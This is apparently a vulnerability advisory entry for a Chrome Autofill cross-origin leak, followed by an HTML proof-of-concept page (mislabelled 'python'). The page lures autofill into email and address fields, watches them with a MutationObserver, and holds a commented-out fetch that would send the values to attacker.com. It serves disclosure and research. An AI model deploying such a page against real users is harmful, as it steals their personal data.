Insufficient policy enforcement in Autofill in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC Concept for CVE-2026-7986
This script demonstrates how an attacker might attempt to trigger
Autofill and read values via DOM manipulation in a vulnerable environment.
-->
<!DOCTYPE html>
<html>
<head>
<title>PoC CVE-2026-7986</title>
</head>
<body>
<h3>Autofill Data Leak Test</h3>
<p>Interact with this page to test the leak.</p>
<!-- Form designed to trigger autofill -->
<form id="leakForm">
<input type="text" name="email" autocomplete="email" placeholder="email">
<input type="text" name="address" autocomplete="street-address" placeholder="address">
</form>
<script>
// Observer to detect changes in input fields that might indicate autofill
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (mutation.type === 'attributes' && mutation.attributeName === 'value') {
const element = mutation.target;
console.log("[+] Potential data leak detected in field: " + element.name);
console.log("[+] Value: " + element.value);
// In a real exploit, this data would be exfiltrated to a remote server
// fetch('https://attacker.com/log?data=' + encodeURIComponent(element.value));
}
});
});
// Start observing form inputs
document.querySelectorAll('input').forEach(input => {
observer.observe(input, { attributes: true });
});
// Attempt to trigger autofill programmatically if possible
window.onload = () => {
document.querySelector('input').focus();
};
</script>
</body>
</html>